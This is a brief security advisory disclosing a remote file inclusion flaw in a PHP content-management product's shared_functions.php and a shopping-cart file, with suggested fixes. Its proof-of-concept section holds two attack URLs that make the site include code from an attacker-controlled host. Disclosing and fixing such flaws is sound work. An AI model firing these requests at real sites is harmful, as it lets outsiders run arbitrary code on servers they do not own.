Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

---------------------------------------------------------------------------
Vulnerability:
~~~~~~~~~~~~~~
I found vulnerability in script shared_functions.php
--------------------------shared_functions.php-----------------------------------
....
<?
...
include_once($_SESSION['docroot_path']."/sohoadmin/includes/mysql_insert.class.php");
# userData manipulation class (works with misc_userdata table)
include_once($_SESSION['docroot_path']."/sohoadmin/includes/userdata.class.php");
...
----------------------------------------------------------
Input passed to the "$_SESSION['docroot_path']" parameter in
shared_functions.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files :
/client_files/shopping_cart/pgm-shopping_css.inc.php
/program/includes/shared_functions.php
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/sohoadmin/program/includes/shared_functions.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?
http://target.com/sohoadmin/client_files/shopping_cart/pgm-shopping_css.inc.php?_SESSION[docroot_path]=http://attacker.com/inject.txt?
Solution:
~~~~~~~
- Sanitize variable $_SESSION['docroot_path'] affected files.
- Turn off register_globals
